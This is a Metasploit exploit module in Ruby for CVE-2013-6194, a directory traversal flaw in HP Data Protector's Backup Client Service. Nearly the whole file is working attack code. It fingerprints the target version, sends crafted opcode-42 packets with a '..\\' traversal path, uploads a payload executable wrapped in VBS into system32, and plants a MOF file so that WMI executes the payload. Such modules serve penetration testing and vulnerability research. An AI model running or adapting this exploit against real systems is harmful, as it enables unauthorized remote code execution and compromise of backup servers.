154 lines
4.5 KiB
Ruby
154 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::WbemExec
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'HP Data Protector Backup Client Service Directory Traversal',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
|
|
Protector product. The vulnerability exists in the Backup Client Service (OmniInet.exe)
|
|
and is triggered when parsing packets with opcode 42. This module has been tested
|
|
successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Brian Gorenc', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2013-6194' ],
|
|
[ 'OSVDB', '101630' ],
|
|
[ 'BID', '64647' ],
|
|
[ 'ZDI', '14-003' ],
|
|
[ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ]
|
|
],
|
|
'Privileged' => true,
|
|
'Payload' =>
|
|
{
|
|
'Space' => 2048, # Payload embedded into an exe
|
|
'DisableNops' => true
|
|
},
|
|
'DefaultOptions' =>
|
|
{
|
|
'WfsDelay' => 5
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Jan 02 2014'))
|
|
|
|
register_options([Opt::RPORT(5555)], self.class)
|
|
end
|
|
|
|
def check
|
|
fingerprint = get_fingerprint
|
|
|
|
if fingerprint.nil?
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
print_status("HP Data Protector version #{fingerprint}")
|
|
|
|
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
|
|
minor = $1.to_i
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if minor < 21
|
|
return Exploit::CheckCode::Vulnerable
|
|
elsif minor == 21
|
|
return Exploit::CheckCode::Detected
|
|
else
|
|
return Exploit::CheckCode::Detected
|
|
end
|
|
|
|
end
|
|
|
|
def exploit
|
|
# Setup the necessary files to do the wbemexec trick
|
|
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
|
|
exe = generate_payload_exe
|
|
vbs = Msf::Util::EXE.to_exe_vbs(exe)
|
|
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
|
|
mof = generate_mof(mof_name, vbs_name)
|
|
|
|
# We can't upload binary contents, so embedding the exe into a VBS.
|
|
print_status("Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...")
|
|
upload_file("windows\\system32\\#{vbs_name}", vbs)
|
|
register_file_for_cleanup(vbs_name)
|
|
|
|
print_status("Sending malicious packet with opcode 42 to upload the mof file #{mof_name}")
|
|
upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
|
|
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
|
|
end
|
|
|
|
def build_pkt(fields)
|
|
data = "\xff\xfe" # BOM Unicode
|
|
fields.each do |v|
|
|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
|
|
data << Rex::Text.to_unicode(" ") # Separator
|
|
end
|
|
|
|
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
|
|
return [data.length].pack("N") + data
|
|
end
|
|
|
|
def get_fingerprint
|
|
ommni = connect
|
|
ommni.put(rand_text_alpha_upper(64))
|
|
resp = ommni.get_once(-1)
|
|
disconnect
|
|
|
|
if resp.nil?
|
|
return nil
|
|
end
|
|
|
|
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
|
|
end
|
|
|
|
def upload_file(file_name, contents)
|
|
connect
|
|
pkt = build_pkt([
|
|
"2", # Message Type
|
|
rand_text_alpha(8),
|
|
rand_text_alpha(8),
|
|
rand_text_alpha(8),
|
|
rand_text_alpha(8),
|
|
rand_text_alpha(8),
|
|
"42", # Opcode
|
|
rand_text_alpha(8), # command
|
|
rand_text_alpha(8), # rissServerName
|
|
rand_text_alpha(8), # rissServerPort
|
|
"\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate
|
|
contents # Certificate contents
|
|
])
|
|
sock.put(pkt)
|
|
sock.get_once
|
|
# You cannot be confident about the response to guess if upload
|
|
# has been successful or not. While testing, different result codes,
|
|
# including also no response because of timeout due to a process
|
|
# process execution after file write on the target
|
|
disconnect
|
|
end
|
|
|
|
end
|